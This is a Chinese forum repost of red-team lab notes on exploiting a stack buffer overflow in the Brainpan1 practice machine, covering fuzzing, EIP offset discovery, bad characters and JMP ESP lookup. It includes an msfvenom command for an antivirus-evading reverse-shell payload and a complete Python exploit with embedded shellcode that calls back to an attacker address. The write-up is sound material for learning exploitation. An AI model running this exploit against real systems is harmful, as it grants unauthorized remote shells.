何小豆儿在此 发表于 2024-6-11 11:39:40

第十一篇红队笔记-百靶精讲之Brainpan1-缓存区溢出

nmap扫描

https://img-blog.csdnimg.cn/2ecf7ed278684f2d8ad4b7971da6884a.png
https://img-blog.csdnimg.cn/c598e475c05d464f968275e7b3b958df.png
web渗透测试

https://img-blog.csdnimg.cn/138998243f454b76a51f3777bfa60221.png
https://img-blog.csdnimg.cn/86dd5b14327c443db1aeb20cbfa82ae3.png
缓冲区溢出漏洞辨认



[*]查看文件
https://img-blog.csdnimg.cn/a19c4eb117224f48b7ea8f091e8b29a8.png
[*]通过Immunity Debugger查看exe内存动态变化

[*]必要点击开始,右下角runing状态,此时相当于运行该exe
https://img-blog.csdnimg.cn/53db973589e44566a8fbca33e5f70c9d.png

[*]编写py脚本判断是否存在缓冲溢出
#! /usr/bin/python

import socket
import time
import sys

size = 100
server = str(sys.argv)
port = int(sys.argv)

while True:
    try:
      print("\n[+] buffer is %s byets" % size);
      buffer = "A" * size
      s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      s.connect((server,port))
      print(buffer+"1")
      s.send(buffer.encode())
      s.close()
      size += 100
      time.sleep(3)
    except:
      print ("\n[+] Cloud not connect.")
      sys.exit()

https://img-blog.csdnimg.cn/653984cca01b47d48ee0f3dab9226be9.png


[*]可以判定存在溢出且大小不会超过1k
https://img-blog.csdnimg.cn/1f100829fbf24368acaf937a0a2abf8a.png
定位eip寄存器



[*] 确定漏洞溢出点的长度。一样寻常将工具 msf-pattern_create和 msf-pattern_offset共同使用。
[*] msf-pattern_create天生上述溢出大小不会超过1k的长度字符串
https://img-blog.csdnimg.cn/d05dedbe1d4142f29999093de87c1e0e.png
[*] 得到此时EIP内存地址为35724134
https://img-blog.csdnimg.cn/829fd8aa5feb4c75b5d2fad619ca1502.png
[*] 根据EIP地址得出偏移量
https://img-blog.csdnimg.cn/60f6cb1838e34771a82e91a3ecbfb9ea.png
[*] 再次确认偏移量524是否精确的溢出点
https://img-blog.csdnimg.cn/1f9573876d274e85834be0a29515e074.png
esp扩容



[*]一样寻常一个payload字节是300-500字节
https://img-blog.csdnimg.cn/e7761c1c911e448db626c525fd4ca5b2.png
https://img-blog.csdnimg.cn/c722596c538a4d5fbe8a8233f54b7119.png
坏字节辨认



[*]判断esp中间有哪些坏字符不能被我们所用
[*]下载坏字符
https://img-blog.csdnimg.cn/b811dd9767a249b19a12918d3e041e3b.png
-判断坏字符是否都正常表现(\x00默认终止符号)
https://img-blog.csdnimg.cn/921935872b99469899287217244ed05c.png
https://img-blog.csdnimg.cn/abaeeb107d1145b2b2e2753b2c808fcf.png
jmp esp定位



[*] esp它的确是eip竣事之后去执行的,但是它具体在哪个位置上不清楚.
[*] 使用eip地址去重定向到esp。所以我们要通过在eip这四个字节内里写上esp的地址。一样寻常使用jmp esp
[*] 先用msf-nasm_shell工具明白想写的指令

[*]可看到jmp esp地址:\xff\xe4
https://img-blog.csdnimg.cn/8b05cf40fbe3450dbf15f94fcd789e49.png

[*] !mona modules 查看可用的dll模块
https://img-blog.csdnimg.cn/a6816f3339f4466680217e3176823419.png
[*] 根据可用dll,搜刮jmp esp 地址
https://img-blog.csdnimg.cn/ccf497ba500d40128be49fb361dddd10.png
[*] 得到JMP ESP地址:311712F3
https://img-blog.csdnimg.cn/75509e012c5644db9da2ab861f81c5b8.png
payload编写

# x86/shikata_ga_nai 防免杀
msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=10.0.2.132 -e x86/shikata_ga_nai -b "\x00" -f python
https://img-blog.csdnimg.cn/66cd025a8aff4922a7abcda3e588b45f.png
#coding:utf-8


import socket
import time
import sys

size = 100
server = str(sys.argv)
port = int(sys.argv)

while True:
    try:
      print("\n[+] buffer is %s byets" % size);
      buf =b""
      buf += b"\xbb\x37\x60\x4f\x5f\xda\xc6\xd9\x74\x24\xf4\x5d"
      buf += b"\x33\xc9\xb1\x52\x83\xed\xfc\x31\x5d\x0e\x03\x6a"
      buf += b"\x6e\xad\xaa\x68\x86\xb3\x55\x90\x57\xd4\xdc\x75"
      buf += b"\x66\xd4\xbb\xfe\xd9\xe4\xc8\x52\xd6\x8f\x9d\x46"
      buf += b"\x6d\xfd\x09\x69\xc6\x48\x6c\x44\xd7\xe1\x4c\xc7"
      buf += b"\x5b\xf8\x80\x27\x65\x33\xd5\x26\xa2\x2e\x14\x7a"
      buf += b"\x7b\x24\x8b\x6a\x08\x70\x10\x01\x42\x94\x10\xf6"
      buf += b"\x13\x97\x31\xa9\x28\xce\x91\x48\xfc\x7a\x98\x52"
      buf += b"\xe1\x47\x52\xe9\xd1\x3c\x65\x3b\x28\xbc\xca\x02"
      buf += b"\x84\x4f\x12\x43\x23\xb0\x61\xbd\x57\x4d\x72\x7a"
      buf += b"\x25\x89\xf7\x98\x8d\x5a\xaf\x44\x2f\x8e\x36\x0f"
      buf += b"\x23\x7b\x3c\x57\x20\x7a\x91\xec\x5c\xf7\x14\x22"
      buf += b"\xd5\x43\x33\xe6\xbd\x10\x5a\xbf\x1b\xf6\x63\xdf"
      buf += b"\xc3\xa7\xc1\x94\xee\xbc\x7b\xf7\x66\x70\xb6\x07"
      buf += b"\x77\x1e\xc1\x74\x45\x81\x79\x12\xe5\x4a\xa4\xe5"
      buf += b"\x0a\x61\x10\x79\xf5\x8a\x61\x50\x32\xde\x31\xca"
      buf += b"\x93\x5f\xda\x0a\x1b\x8a\x4d\x5a\xb3\x65\x2e\x0a"
      buf += b"\x73\xd6\xc6\x40\x7c\x09\xf6\x6b\x56\x22\x9d\x96"
      buf += b"\x31\x47\x62\x9a\x45\x3f\x60\x9a\x44\x7b\xed\x7c"
      buf += b"\x2c\x6b\xb8\xd7\xd9\x12\xe1\xa3\x78\xda\x3f\xce"
      buf += b"\xbb\x50\xcc\x2f\x75\x91\xb9\x23\xe2\x51\xf4\x19"
      buf += b"\xa5\x6e\x22\x35\x29\xfc\xa9\xc5\x24\x1d\x66\x92"
      buf += b"\x61\xd3\x7f\x76\x9c\x4a\xd6\x64\x5d\x0a\x11\x2c"
      buf += b"\xba\xef\x9c\xad\x4f\x4b\xbb\xbd\x89\x54\x87\xe9"
      buf += b"\x45\x03\x51\x47\x20\xfd\x13\x31\xfa\x52\xfa\xd5"
      buf += b"\x7b\x99\x3d\xa3\x83\xf4\xcb\x4b\x35\xa1\x8d\x74"
      buf += b"\xfa\x25\x1a\x0d\xe6\xd5\xe5\xc4\xa2\xe6\xaf\x44"
      buf += b"\x82\x6e\x76\x1d\x96\xf2\x89\xc8\xd5\x0a\x0a\xf8"
      buf += b"\xa5\xe8\x12\x89\xa0\xb5\x94\x62\xd9\xa6\x70\x84"
      buf += b"\x4e\xc6\x50"

      buffer = "\x41" * 524 + "\xf3\x12\x17\x31" + "\x90" * 16 + buf
      s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      s.connect((server,port))
      s.recv(1024)
      s.send(buffer)
      print "done"
      size += 100
      time.sleep(3)
    except Exception as errorMsg:
            print "产生错误了:%s'%errorMsg"
            print "\n[+] Cloud not connect."
            sys.exit()




[*]监听shell反弹端口
https://img-blog.csdnimg.cn/7c41851c9a19488383605c635cd56a7f.png
乐成使用缓冲区漏洞



[*]同上(针对靶机linux)
https://img-blog.csdnimg.cn/d7bb0f6efbd047b6b6e6024e384f54ad.png
巧用anansi_util提权

https://img-blog.csdnimg.cn/851a802f236d4b4abfd632743afbbf83.png
其他

缓冲区溢出漏洞流程



[*]解缓冲区溢出漏洞的辨认、大小,定位eip寄存器、esp寄存器扩容、坏字节辨认、jmp esp定位,payload天生
EIP、EBP、ESP的解读



[*]EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。
[*]EBP存储着当前函数栈底的地址,栈低通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很紧张)。
[*]ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。
为什么EIP是41414141可以判断缓冲区存在溢出



[*]这不是什么根本性的。这只是一个汗青惯例。更具体地说:测试缓冲区溢出的最简朴方法是在文本字段中键入一长串 A (AAAAAAAA…),然后看看会发生什么。如果程序崩溃,则可能轻易受到攻击。如果程序崩溃并且调试器在程序计数器中表现0x41414141,该程序险些肯定是脆弱的。(请记住,“A”的 ASCII 代码是十六进制0x41的,所以如果你在十六进制编辑器中查看 A 字符串的字节级表示形式,你会看到0x41414141。
[*]为什么是A?完全没有来由;它们只是字母表中的第一个字母。因此,这是渗透测试职员有时会使用的快速而肮脏的测试。但是,当然,0x41414141并没有什么特别之处。道格拉斯·亚当斯的粉丝可以输入一长串B,然后寻找0x42424242。那同样有效,甚至更有趣。
确认偏移量524是否精确的溢出点



[*]精确表现AABBCC=524是溢出点
https://img-blog.csdnimg.cn/b8b563d82ed444dc86bbef041fdf9127.png
怎么通过35724134地址得到524就是偏移量

https://img-blog.csdnimg.cn/ae534564c95646b4abad858ac7fec832.png


[*] 首先要知道内存地址和寻常书写地址是相反的,内存会把内存低地址放在高位,内存高地址放在低位,所以排列序次是:
35724134
34 41 72 35
4Ar5
4Ar5

[*] 对照的就是pattern_create.rb天生的1000字符中524位的地方存在溢出,pattern_offset.rb会主动盘算在1000个字符中4Ar5位置
为什么要测试坏字符



[*]坏字符本意是 A 的机器码发送到服务端,服务端存入内存时却酿成了 B。比方说我想执行的shellcode 为 0a,但存入内存中后啪的一下酿成了 00,这就很欠好了,shellcode就不是我们原来正常的逻辑了。
发生pycommands:error importing module.

https://img-blog.csdnimg.cn/37110a1b1e6246f5a94d4f51fed479c4.png

[*]下载python2.7
[*]查看Immunity Debugger\PyCommands该文件夹是否有mona.py,无则另外下载
怎么判定可用dll模块



[*]SafeSEH、ASLR、NXCompat都是内存掩护机制所掩护的模块!
[*]要选择JMP ESP一定要选择这三项都未False的模块
为什么跑的是window-exe确实linux

https://img-blog.csdnimg.cn/b94a8ac73a0e462e9b038e9b4b909c33.png

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 第十一篇红队笔记-百靶精讲之Brainpan1-缓存区溢出